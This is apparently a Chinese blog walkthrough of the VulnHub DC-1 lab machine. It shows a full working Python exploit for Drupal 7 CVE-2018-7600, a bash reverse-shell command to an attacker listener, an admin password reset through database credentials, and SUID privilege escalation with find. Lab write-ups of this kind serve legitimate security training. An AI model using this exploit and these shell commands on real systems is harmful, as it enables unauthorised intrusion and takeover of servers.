vulnhub dc1

2021年11月23日 阅读数:3
这篇文章主要向大家介绍vulnhub dc1,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

知识点

  1. 了解常见的CMS
  2. 漏洞库的使用
  3. linux的基本操做
  4. 了解drupal的目录结构
  5. linux suid提权方式

安装靶机

vmware和vbox均可以,使靶机和攻击机在同一网段。html

一 信息收集

nmap -sn 192.168.1.0/24
nmap -Pn 192.168.1.4

80端口开启,访问。知道是Drupal7的CMS。
msf search drupal 执行exp
不知道是否是msf6的缘由,拿到shell后,执行命令不行。网上msf5是能够的。


python

二 换思路(直接手动打脚本过去,nc反弹)

网上能找到drupal7的exp,这里我也贴出来linux

#!/usr/bin/env python3
 
import requests
import argparse
from bs4 import BeautifulSoup
 
def get_args():
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
                    by poisoning the recover password form (user/password) and triggering it with
                    the upload file via ajax (/file/ajax).
                    ''')
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args
 
def pwn_target(target, function, command, proxy):
  requests.packages.urllib3.disable_warnings()
  proxies = {'http': proxy, 'https': proxy}
  print('[*] Poisoning a form and including it in cache.')
  get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
  post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
  r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
  soup = BeautifulSoup(r.text, "html.parser")
  try:
    form = soup.find('form', {'id': 'user-pass'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/name/#value/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise
 
def main():
  print ()
  print ('=============================================================================')
  print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |')
  print ('|                              by pimps                                     |')
  print ('=============================================================================\n')
 
  args = get_args() # get the cl args
  pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
 
 
if __name__ == '__main__':
  main()

执行python drupal_poc.py -c "echo 'bash -i>& /dev/tcp/192.168.1.135/6666 0>&1'|bash " http://192.168.1.4。同时攻击机开启nc -lvvp 6666。反弹shell后,换成交互式 python -c "import pty;pty.spawn('/bin/bash')"
在这里插入图片描述
ajax

在这里插入图片描述

三 花式找flag

查阅资料,找到drupal默认数据库的配置文件。
在这里插入图片描述发现Mysql的登录帐号和密码,登陆康康
在这里插入图片描述找到user表(我好像也不记得是哪一个表保存的帐号密码 QAQ)
发现密码是drupal hash加密,一个思路就是找到加密的脚本,生成一个本身的密码加密,而后update数据库admin的密码。
在这里插入图片描述而后修改密码
在这里插入图片描述登陆网页试试在这里插入图片描述如今只差一步之遥了,就是提权。




sql

四 提权

suid提权
SUID可让调用者以文件拥有者的身份运行该文件,因此咱们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么咱们运行该文件的时候就得得到root用户的身份了。
shell

已知的可用来提权的linux可行性的文件列表以下:数据库

nmap
vim
find
bash
more
less
nano
cp

如下命令能够发现系统上运行的全部SUID可执行文件vim

#如下命令将尝试查找具备root权限的SUID的文件,不一样系统适用于不一样的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null /表示从文件系统的顶部(根)开始并找到每一个目录
-perm 表示搜索随后的权限
-u=s表示查找root用户拥有的文件
-type表示咱们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的全部内容。
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {
   
   } \;

在这里插入图片描述利用执行find提权bash

find flag1.txt -exec whoami \;

能够看到find命令以root权限运行less

find flag1.txt -exec '/bin/sh' \;

能够看到拿到了root权限。